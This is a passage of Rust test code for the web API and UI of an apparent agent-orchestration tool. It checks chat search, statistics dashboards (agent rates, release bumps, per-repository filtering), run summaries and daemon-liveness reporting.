18670            "/api/search?scope=chats&q=",
18671            "/api/search?scope=chats&q=%20",
18672            "/api/search?scope=nope&q=a",
18673            "/api/search?q=a",
18674        ] {
18675            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18676        }
18677    }
18678
18679    /// Write one conversation file the way the store reads it back.
18680    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18681        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18682            .expect("seat value");
18683        let turns: Vec<serde_json::Value> = turns
18684            .iter()
18685            .map(|(who, body)| {
18686                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18687            })
18688            .collect();
18689        let doc = serde_json::json!({
18690            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18691            "status": status, "turns": turns,
18692            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18693            "seat": seat,
18694        });
18695        let dir = f.home.path().join("talks");
18696        std::fs::create_dir_all(&dir).expect("talks dir");
18697        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18698    }
18699
18700    #[test]
18701    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18702        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18703            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18704            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18705            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18706            "seat": crate::agent::SeatState::new("talk", "test", 1)
18707        })).unwrap();
18708        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18709        talk.title = Some(talk::ChatTitle {
18710            text: "最近の話題".into(),
18711            source: talk::TitleSource::Generated,
18712        });
18713        let doc = talk_search_doc(&talk);
18714        assert_eq!(doc["title"], "最近の話題");
18715        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18716        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18717        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18718    }
18719
18720    #[tokio::test]
18721    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18722        let f = Fixture::start().await;
18723        write_talk(
18724            &f,
18725            "20260901-000001-aaaa",
18726            "open",
18727            &[
18728                (
18729                    "operator",
18730                    "\n  Why does the Pangolin cache expire?\nsecond line",
18731                ),
18732                ("agent", "Because the TTL is thirty seconds."),
18733            ],
18734        );
18735        write_talk(
18736            &f,
18737            "20260901-000002-bbbb",
18738            "closed",
18739            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18740        );
18741        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18742
18743        let search = |q: &'static str| {
18744            let f = &f;
18745            async move {
18746                f.get(&format!("/api/search?scope=chats&q={q}"))
18747                    .await
18748                    .json()
18749            }
18750        };
18751
18752        let v = search("PANGOLIN").await;
18753        assert_eq!(v["scope"], "chats");
18754        assert_eq!(v["total"], 1, "{v}");
18755        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18756        assert_eq!(v["hits"][0]["field"], "title");
18757        assert_eq!(v["unreadable"], 1, "{v}");
18758        let marked: Vec<&str> = v["hits"][0]["snippet"]
18759            .as_array()
18760            .unwrap()
18761            .iter()
18762            .filter(|p| p["hit"] == true)
18763            .map(|p| p["text"].as_str().unwrap())
18764            .collect();
18765        assert_eq!(marked, ["Pangolin"]);
18766
18767        // An agent turn, in a closed conversation.
18768        let v = search("zebra").await;
18769        assert_eq!(v["total"], 1, "{v}");
18770        assert_eq!(v["hits"][0]["field"], "agent");
18771        // Words may sit in different turns; all must be present.
18772        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18773        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18774        // Bookkeeping is not searched.
18775        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18776            assert_eq!(search(q).await["total"], 0, "{q}");
18777        }
18778        // The first line only is the title; the second line is still a turn.
18779        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18780        // Open conversations are listed before closed ones.
18781        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18782
18783        let v = f.get("/api/search?scope=nope&q=a").await;
18784        assert_eq!(v.status, 400);
18785        assert!(
18786            v.body.contains("scope must be runs, tasks or chats"),
18787            "{}",
18788            v.body
18789        );
18790    }
18791
18792    #[test]
18793    fn a_question_card_links_a_task_id_to_the_task_page() {
18794        let start = APP_JS
18795            .find("function updateAskCard(")
18796            .expect("updateAskCard exists");
18797        let body = &APP_JS[start..];
18798        let body = &body[..body.find("\n}\n").expect("function end")];
18799        assert!(body.contains("question.run_is_task"));
18800        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18801        assert!(body.contains("`#/runs/${question.run}`"));
18802        assert!(body.contains("\"task\" : \"run\""));
18803    }
18804
18805    #[test]
18806    fn plain_text_message_surfaces_go_through_linkify() {
18807        assert!(APP_JS.contains("function linkify("));
18808        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18809        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18810        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18811        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18812        assert!(!APP_JS.contains("innerHTML = text"));
18813    }
18814
18815    #[test]
18816    fn implementation_rate_views_keep_independent_samples() {
18817        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18818            let a = stats::AgentStats {
18819                competitive_entered: competitive_n,
18820                competitive_wins: usize::from(competitive_n > 0),
18821                solo_entered: solo_n,
18822                solo_adopted: 2 * usize::from(solo_n > 0),
18823                ..Default::default()
18824            };
18825            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18826            for (key, n, numerator) in [
18827                ("competitive_win_rate", competitive_n, a.competitive_wins),
18828                ("solo_adoption_rate", solo_n, a.solo_adopted),
18829            ] {
18830                if n == 0 {
18831                    assert!(v[key].is_null());
18832                } else {
18833                    assert_eq!(v[key]["denominator"], n);
18834                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18835                }
18836            }
18837        }
18838        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18839        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18840        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18841        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18842    }
18843
18844    #[test]
18845    fn stats_bars_share_one_id_keyed_plan() {
18846        let start = APP_JS
18847            .find("function statsBarRows(")
18848            .expect("statsBarRows exists");
18849        let body = &APP_JS[start..];
18850        let body = &body[..body.find("\n}\n").expect("function end")];
18851        assert!(body.contains("statsBarPlan(rows)"));
18852        assert!(body.contains("statsAgentTone(row.agent)"));
18853        assert!(!body.contains("candTone(i)"));
18854        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18855        for root in [
18856            "stats-agents-bars",
18857            "stats-solo-bars",
18858            "stats-reviewers-bars",
18859        ] {
18860            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18861        }
18862    }
18863
18864    #[test]
18865    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18866        let start = APP_JS
18867            .find("function renderStatsReviewerScatter(")
18868            .expect("renderStatsReviewerScatter exists");
18869        let body = &APP_JS[start..];
18870        let body = &body[..body.find("\n}\n").expect("function end")];
18871        assert!(body.contains("statsScatterPlan(reviewers)"));
18872        assert!(body.contains("statsAgentTone(d.agent)"));
18873        assert!(APP_JS.contains("function statsScatterPlan("));
18874        assert!(
18875            APP_JS.contains("d.submitted < STATS_LOW_N")
18876                || APP_JS.contains("r.submitted < STATS_LOW_N")
18877        );
18878        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18879        assert!(APP_CSS.contains(".precision-scatter"));
18880    }
18881
18882    #[test]
18883    fn advisor_reflection_is_drawn_as_stacked_segments() {
18884        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18885        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18886        let html = include_str!("../assets/ui/index.html");
18887        assert!(html.contains("Approximate"));
18888        for label in ["reflected strongly", "faint", "no proposal"] {
18889            assert!(html.contains(label));
18890        }
18891        let css = include_str!("../assets/ui/app.css");
18892        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18893            assert!(css.contains(&format!(".{c} {{")));
18894        }
18895    }
18896
18897    #[test]
18898    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18899        assert!(APP_JS.contains("function statsDailyPlan("));
18900        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18901        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18902    }
18903
18904    #[test]
18905    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18906        let start = APP_JS
18907            .find("function scheduleSearch(")
18908            .expect("scheduleSearch exists");
18909        let body = &APP_JS[start..];
18910        let body = &body[..body.find("\n}\n").expect("function end")];
18911        assert!(body.contains("s.seq += 1"));
18912    }
18913
18914    /// The dashboard reads every run's state itself rather than trusting a
18915    /// separately-maintained count, so an unreadable run must be counted the
18916    /// same way `/api/health` counts it - never silently dropped the way the
18917    /// CLI's own `stats::load_all` drops it.
18918    #[tokio::test]
18919    async fn stats_runs_unreadable_matches_health() {
18920        let f = Fixture::start().await;
18921        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18922        let broken = f.runs().join("20260902-140502-bad");
18923        std::fs::create_dir_all(&broken).expect("run dir");
18924        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18925
18926        let stats = f.get("/api/stats").await;
18927        let health = f.get("/api/health").await;
18928
18929        assert_eq!(stats.status, 200);
18930        assert_eq!(stats.json()["totals"]["runs"], 1);
18931        assert_eq!(stats.json()["runs_unreadable"], 1);
18932        assert_eq!(
18933            stats.json()["runs_unreadable"],
18934            health.json()["runs_unreadable"],
18935            "the dashboard and /api/health must never disagree about how many \
18936             runs could not be read"
18937        );
18938    }
18939
18940    #[tokio::test]
18941    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18942        let f = Fixture::start().await;
18943        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18944        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18945        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18946
18947        let totals = &f.get("/api/stats").await.json()["totals"];
18948        assert_eq!(totals["runs"], 3);
18949        assert_eq!(totals["merged"], 1);
18950        assert_eq!(totals["stalled"], 1);
18951        assert_eq!(totals["in_progress"], 1);
18952        // A stalled run must never read as blocked/merged/ready - it is its
18953        // own bucket, not folded into a "decided" one.
18954        assert_eq!(totals["blocked"], 0);
18955        assert_eq!(totals["ready"], 0);
18956    }
18957
18958    #[tokio::test]
18959    async fn stats_advisors_report_proposals_and_reflection() {
18960        use crate::advise::{Advice, AdvisorRecord, Reflection};
18961        use crate::verdict::Proposal;
18962
18963        let f = Fixture::start().await;
18964        let mut state = RunState::new(
18965            PathBuf::from("/repo/magi"),
18966            "main".to_owned(),
18967            "0123456789abcdef".to_owned(),
18968            "task".to_owned(),
18969            Config::default(),
18970        );
18971        state.id = "20260902-140501-a".to_owned();
18972        state.status = RunStatus::Merged;
18973        state.advice = Some(Advice {
18974            records: vec![
18975                AdvisorRecord {
18976                    seat: "advisor-1".to_owned(),
18977                    agent: "alpha".to_owned(),
18978                    proposal: Some(Proposal {
18979                        approach: "do it".to_owned(),
18980                        key_tradeoff: "speed over memory".to_owned(),
18981                        risks: Vec::new(),
18982                        touches: Vec::new(),
18983                        why_not_naive: "breaks under load".to_owned(),
18984                    }),
18985                    error: None,
18986                    duration_ms: 0,
18987                    reflection: Reflection::Strong,
18988                },
18989                AdvisorRecord {
18990                    seat: "advisor-2".to_owned(),
18991                    agent: "alpha".to_owned(),
18992                    proposal: None,
18993                    error: Some("timed out".to_owned()),
18994                    duration_ms: 0,
18995                    reflection: Reflection::Absent,
18996                },
18997            ],
18998            synthesis: Some("blended brief".to_owned()),
18999        });
19000        let dir = f.runs().join(&state.id);
19001        std::fs::create_dir_all(&dir).expect("run dir");
19002        std::fs::write(
19003            dir.join("run.json"),
19004            serde_json::to_string_pretty(&state).expect("serialize run"),
19005        )
19006        .expect("write run.json");
19007
19008        // `alpha` is in no roster here; this test is about the rates.
19009        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19010        let alpha = advisors
19011            .as_array()
19012            .expect("an array")
19013            .iter()
19014            .find(|a| a["agent"] == "alpha")
19015            .expect("alpha row");
19016        assert_eq!(alpha["seated"], 2);
19017        assert_eq!(alpha["proposed"], 1);
19018        assert_eq!(alpha["absent"], 1);
19019        assert_eq!(alpha["strong"], 1);
19020        assert_eq!(alpha["faint"], 0);
19021        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19022    }
19023
19024    #[tokio::test]
19025    async fn stats_hides_agents_outside_the_roster_unless_all() {
19026        use crate::run::Candidate;
19027        let repo = TempDir::new().expect("repo dir");
19028        std::fs::write(
19029            repo.path().join("magi.toml"),
19030            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19031        )
19032        .expect("magi.toml");
19033        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19034        let mut state = RunState::new(
19035            PathBuf::from("/repo/magi"),
19036            "main".to_owned(),
19037            "0123456789abcdef".to_owned(),
19038            "task".to_owned(),
19039            Config::default(),
19040        );
19041        state.id = "20260902-140501-a".to_owned();
19042        state.status = RunStatus::Merged;
19043        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19044            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19045                "index": 0, "label": label.to_string(), "agent": agent,
19046                "branch": "b", "worktree": "/w",
19047            }))
19048            .expect("candidate");
19049            c.label = label;
19050            state.candidates.push(c);
19051        }
19052        let dir = f.runs().join(&state.id);
19053        std::fs::create_dir_all(&dir).expect("run dir");
19054        std::fs::write(
19055            dir.join("run.json"),
19056            serde_json::to_string_pretty(&state).expect("serialize run"),
19057        )
19058        .expect("write run.json");
19059
19060        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19061            v["agents"]
19062                .as_array()
19063                .expect("array")
19064                .iter()
19065                .map(|a| a["agent"].as_str().unwrap().to_owned())
19066                .collect()
19067        };
19068        let hidden = f.get("/api/stats").await.json();
19069        assert_eq!(agents_of(&hidden), ["keep"]);
19070        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19071        assert_eq!(hidden["totals"]["runs"], 1);
19072
19073        let all = f.get("/api/stats?all=true").await.json();
19074        assert_eq!(agents_of(&all).len(), 2);
19075        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19076        // Verify competitive and solo keys exist on agent entries
19077        let keep_agent = all["agents"]
19078            .as_array()
19079            .unwrap()
19080            .iter()
19081            .find(|a| a["agent"] == "keep")
19082            .unwrap();
19083        assert_eq!(keep_agent["competitive_entered"], 1);
19084        assert_eq!(keep_agent["competitive_wins"], 0);
19085        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19086        assert_eq!(keep_agent["solo_entered"], 0);
19087        assert_eq!(keep_agent["solo_adopted"], 0);
19088        assert!(keep_agent["solo_adoption_rate"].is_null());
19089    }
19090
19091    #[tokio::test]
19092    async fn stats_release_bumps_split_clean_from_attention() {
19093        use crate::run::ReleaseBump;
19094
19095        let f = Fixture::start().await;
19096
19097        let mut clean = RunState::new(
19098            PathBuf::from("/repo/magi"),
19099            "main".to_owned(),
19100            "0123456789abcdef".to_owned(),
19101            "task".to_owned(),
19102            Config::default(),
19103        );
19104        clean.id = "20260902-140501-a".to_owned();
19105        clean.status = RunStatus::Merged;
19106        clean.release_bump = Some(ReleaseBump {
19107            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19108            version: Some("1.0.0".to_owned()),
19109            automerge_enabled: true,
19110            merged_directly: false,
19111            local: false,
19112            release: None,
19113            problem: None,
19114            action_required: None,
19115            skipped: None,
19116        });
19117
19118        let mut blocked = RunState::new(
19119            PathBuf::from("/repo/magi"),
19120            "main".to_owned(),
19121            "0123456789abcdef".to_owned(),
19122            "task".to_owned(),
19123            Config::default(),
19124        );
19125        blocked.id = "20260902-140502-b".to_owned();
19126        blocked.status = RunStatus::Merged;
19127        blocked.release_bump = Some(ReleaseBump {
19128            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19129            version: Some("1.0.1".to_owned()),
19130            automerge_enabled: false,
19131            merged_directly: false,
19132            local: false,
19133            release: None,
19134            problem: Some("checks red".to_owned()),
19135            action_required: Some("look at the PR".to_owned()),
19136            skipped: None,
19137        });
19138
19139        for state in [&clean, &blocked] {
19140            let dir = f.runs().join(&state.id);
19141            std::fs::create_dir_all(&dir).expect("run dir");
19142            std::fs::write(
19143                dir.join("run.json"),
19144                serde_json::to_string_pretty(state).expect("serialize run"),
19145            )
19146            .expect("write run.json");
19147        }
19148
19149        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19150        assert_eq!(bumps["merged"], 2);
19151        assert_eq!(bumps["recorded"], 2);
19152        assert_eq!(bumps["pr_opened"], 2);
19153        assert_eq!(bumps["automerge_enabled"], 1);
19154        assert_eq!(bumps["needs_attention"], 1);
19155        assert_eq!(bumps["clean"], 1);
19156        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19157        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19158    }
19159
19160    #[tokio::test]
19161    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19162        let f = Fixture::start().await;
19163        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19164
19165        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19166        assert_eq!(bumps["merged"], 1);
19167        assert_eq!(bumps["recorded"], 0);
19168        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19169        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19170        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19171        // `pr_opened` and `recorded` are both zero here, so these rates have
19172        // no denominator to compute from and must be null.
19173        assert_eq!(bumps["automerge_rate"], Value::Null);
19174        assert_eq!(bumps["attention_rate"], Value::Null);
19175    }
19176
19177    #[tokio::test]
19178    async fn stats_queue_counts_come_from_the_live_queue() {
19179        let f = Fixture::start().await;
19180        let q = f.queue();
19181        let mut queued = Task::new(
19182            "queued task".to_owned(),
19183            "do it".to_owned(),
19184            PathBuf::from("/repo"),
19185            Source::Human,
19186        );
19187        q.put(&mut queued).expect("put queued");
19188        let mut held = Task::new(
19189            "held task".to_owned(),
19190            "do it later".to_owned(),
19191            PathBuf::from("/repo"),
19192            Source::Human,
19193        );
19194        held.hold_machine(Some("out of attempts".to_owned()));
19195        q.put(&mut held).expect("put held");
19196
19197        let queue = f.get("/api/stats").await.json()["queue"].clone();
19198        assert_eq!(queue["queued"], 1);
19199        assert_eq!(queue["held"], 1);
19200        assert_eq!(queue["running"], 0);
19201        assert_eq!(queue["done"], 0);
19202        assert_eq!(queue["failed"], 0);
19203        assert_eq!(queue["blocked"], 0);
19204    }
19205
19206    #[tokio::test]
19207    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19208        let f = Fixture::start().await;
19209        let stats = f.get("/api/stats").await;
19210        assert_eq!(stats.status, 200);
19211        assert_eq!(stats.json()["totals"]["runs"], 0);
19212        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19213        assert_eq!(stats.json()["runs_unreadable"], 0);
19214        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19215        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19216        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19217        assert_eq!(stats.json()["repo"], Value::Null);
19218    }
19219
19220    #[tokio::test]
19221    async fn stats_lists_every_repository_with_runs_recorded() {
19222        let f = Fixture::start().await;
19223        write_run_repo(
19224            &f.runs(),
19225            "20260902-140501-a",
19226            RunStatus::Merged,
19227            "/repos/a",
19228        );
19229        write_run_repo(
19230            &f.runs(),
19231            "20260902-140502-b",
19232            RunStatus::Merged,
19233            "/repos/a",
19234        );
19235        write_run_repo(
19236            &f.runs(),
19237            "20260902-140503-c",
19238            RunStatus::Blocked,
19239            "/repos/b",
19240        );
19241
19242        let stats = f.get("/api/stats").await;
19243        assert_eq!(stats.status, 200);
19244        // Unfiltered - the aggregate across both repositories.
19245        assert_eq!(stats.json()["totals"]["runs"], 3);
19246        assert_eq!(stats.json()["repo"], Value::Null);
19247
19248        let repos = stats.json()["repos"].clone();
19249        let repos = repos.as_array().unwrap();
19250        assert_eq!(repos.len(), 2);
19251        // Busiest (2 runs) first.
19252        assert_eq!(repos[0]["repo"], "/repos/a");
19253        assert_eq!(repos[0]["name"], "a");
19254        assert_eq!(repos[0]["runs"], 2);
19255        assert_eq!(repos[1]["repo"], "/repos/b");
19256        assert_eq!(repos[1]["runs"], 1);
19257    }
19258
19259    #[tokio::test]
19260    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19261        let f = Fixture::start().await;
19262        write_run_repo(
19263            &f.runs(),
19264            "20260902-140501-a",
19265            RunStatus::Merged,
19266            "/repos/a",
19267        );
19268        write_run_repo(
19269            &f.runs(),
19270            "20260902-140502-b",
19271            RunStatus::Blocked,
19272            "/repos/b",
19273        );
19274
19275        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19276        assert_eq!(stats.status, 200);
19277        assert_eq!(stats.json()["totals"]["runs"], 1);
19278        assert_eq!(stats.json()["totals"]["merged"], 1);
19279        assert_eq!(stats.json()["repo"], "/repos/a");
19280        // The repository list itself is unaffected by the filter - it is
19281        // what a client switches repositories from.
19282        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19283        // runs_unreadable is a whole-workload count, never scoped to the
19284        // selected repository - see StatsView::runs_unreadable's own doc.
19285        assert_eq!(stats.json()["runs_unreadable"], 0);
19286    }
19287
19288    #[tokio::test]
19289    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19290        let f = Fixture::start().await;
19291        write_run_repo(
19292            &f.runs(),
19293            "20260902-140501-a",
19294            RunStatus::Merged,
19295            "/repos/a",
19296        );
19297        write_run_repo(
19298            &f.runs(),
19299            "20260902-140502-b",
19300            RunStatus::Merged,
19301            "/repos/b",
19302        );
19303
19304        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19305            let json = f.get(uri).await.json();
19306            let daily = json["daily"].as_array().expect("daily is an array");
19307            assert_eq!(daily.len(), 30);
19308            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19309            let mut sorted = dates.clone();
19310            sorted.sort();
19311            assert_eq!(dates, sorted);
19312            for d in daily {
19313                assert_eq!(
19314                    d["merged"].as_u64().unwrap()
19315                        + d["ready"].as_u64().unwrap()
19316                        + d["other"].as_u64().unwrap(),
19317                    d["runs"].as_u64().unwrap()
19318                );
19319            }
19320            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19321        }
19322    }
19323
19324    #[tokio::test]
19325    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19326        let f = Fixture::start().await;
19327        write_run_repo(
19328            &f.runs(),
19329            "20260902-140501-a",
19330            RunStatus::Merged,
19331            "/repos/a",
19332        );
19333
19334        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19335        assert_eq!(stats.status, 404);
19336    }
19337
19338    #[tokio::test]
19339    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19340        let f = Fixture::start().await;
19341        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19342
19343        let summary = f.get("/api/runs").await.json();
19344        let row = &summary[0];
19345        assert_eq!(row["short"], "a1b2");
19346        assert_eq!(row["status"], "ready");
19347        assert_eq!(row["done"], true);
19348        assert_eq!(row["title"], "Add a web UI");
19349        assert_eq!(row["repo_name"], "magi");
19350        assert_eq!(row["judges"], 3);
19351        assert_eq!(row["winner"], Value::Null);
19352        assert_eq!(row["reviews"], 0);
19353
19354        // The short id resolves, and the detail route is the state itself, not
19355        // a projection of it: the UI reads fields the summary does not carry.
19356        let detail = f.get("/api/runs/a1b2").await;
19357        assert_eq!(detail.status, 200);
19358        assert_eq!(detail.json()["base_branch"], "main");
19359        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19360    }
19361
19362    /// `status: "ready"` alone cannot tell a run still headed for a landing
19363    /// (a PR closed without merging, say) apart from one `[merge] mode =
19364    /// "none"` left unmerged for good — the confusion the operator flagged
19365    /// after the CLI report already grew a `not landed — nothing to do by
19366    /// design` line for exactly this case (`report.rs`). Both the list route
19367    /// and the detail route must carry a flag the phone can key on instead of
19368    /// re-deriving it from `status` + `merge.mode` itself.
19369    #[tokio::test]
19370    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19371        let f = Fixture::start().await;
19372
19373        let mut none_run = RunState::new(
19374            PathBuf::from("/repo/magi"),
19375            "main".to_owned(),
19376            "0123456789abcdef".to_owned(),
19377            "Add a web UI".to_owned(),
19378            Config::default(),
19379        );
19380        none_run.id = "20260902-140503-none".to_owned();
19381        none_run.status = RunStatus::Ready;
19382        none_run.merge = Some(crate::run::MergeOutcome {
19383            mode: crate::config::MergeMode::None,
19384            ok: true,
19385            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19386            empty: false,
19387        });
19388        write_state(&f.runs(), &none_run);
19389
19390        let mut pr_run = RunState::new(
19391            PathBuf::from("/repo/magi"),
19392            "main".to_owned(),
19393            "0123456789abcdef".to_owned(),
19394            "Add a web UI".to_owned(),
19395            Config::default(),
19396        );
19397        pr_run.id = "20260902-140504-prcl".to_owned();
19398        pr_run.status = RunStatus::Ready;
19399        pr_run.merge = Some(crate::run::MergeOutcome {
19400            mode: crate::config::MergeMode::Pr,
19401            ok: false,
19402            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19403            empty: false,
19404        });
19405        write_state(&f.runs(), &pr_run);
19406
19407        let summary = f.get("/api/runs").await.json();
19408        let rows: std::collections::HashMap<&str, &Value> = summary
19409            .as_array()
19410            .expect("an array")
19411            .iter()
19412            .map(|r| (r["id"].as_str().expect("an id"), r))
19413            .collect();
19414        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19415        assert_eq!(
19416            rows[none_run.id.as_str()]["unmerged_by_design"],
19417            true,
19418            "a mode-none Ready must be flagged in the list"
19419        );
19420        assert_eq!(
19421            rows[pr_run.id.as_str()]["unmerged_by_design"],
19422            false,
19423            "a Ready reached by a closed pull request is a different case"
19424        );
19425
19426        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19427        assert_eq!(none_detail["status"], "ready");
19428        assert_eq!(none_detail["unmerged_by_design"], true);
19429
19430        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19431        assert_eq!(pr_detail["unmerged_by_design"], false);
19432    }
19433
19434    /// `RunState::active` is only ever cleared by whoever populated it, so the
19435    /// detail route also has to say whether a daemon is actually still
19436    /// driving this run right now — otherwise a seat from a killed process's
19437    /// last wave would read as live forever.
19438    #[tokio::test]
19439    async fn run_core_survives_unavailable_related_stores() {
19440        let home = TempDir::new().unwrap();
19441        let ui = delta_test_ui(home.path());
19442        let state = RunState::new(
19443            PathBuf::from("/repo/magi"),
19444            "main".into(),
19445            "0123456789abcdef".into(),
19446            "Useful core instructions".into(),
19447            Config::default(),
19448        );
19449        let dir = ui.runs.join(&state.id);
19450        std::fs::create_dir_all(&dir).unwrap();
19451        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19452        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19453        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19454        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19455            .await
19456            .unwrap()
19457            .0;
19458        assert_eq!(core.state.instruction, state.instruction);
19459        assert_eq!(core.state.updated_at, state.updated_at);
19460        assert!(core.task.is_none());
19461        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19462    }
19463
19464    #[tokio::test]
19465    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19466        let f = Fixture::start().await;
19467        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19468        // half of this test can claim the daemon is working on it without a
19469        // second helper.
19470        let id = "20260902-140502-bbbb";
19471        let mut state = RunState::new(
19472            PathBuf::from("/repo/magi"),
19473            "main".to_owned(),
19474            "0123456789abcdef".to_owned(),
19475            "Add a web UI".to_owned(),
19476            Config::default(),
19477        );
19478        state.id = id.to_owned();
19479        state.status = RunStatus::Judging;
19480        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19481        let dir = f.runs().join(id);
19482        std::fs::create_dir_all(&dir).expect("run dir");
19483        std::fs::write(
19484            dir.join("run.json"),
19485            serde_json::to_string_pretty(&state).expect("serialize run"),
19486        )
19487        .expect("write run.json");
19488
19489        // No daemon.json at all, and no `driver_pid` recorded either (this
19490        // state was written directly, never through `execute()`): there is
19491        // nothing to confirm either way, so the route must say `"unknown"` —
19492        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19493        // run` used to get from this route before `driver_pid` existed.
19494        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19495        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19496        assert_eq!(cold["live"], "unknown", "{cold}");
19497
19498        // A fresh heartbeat naming exactly this run: the same entry now reads
19499        // as confirmed, not merely recorded.
19500        write_daemon(f.home.path(), Timestamp::now());
19501        let warm = f.get(&format!("/api/runs/{id}")).await.json();
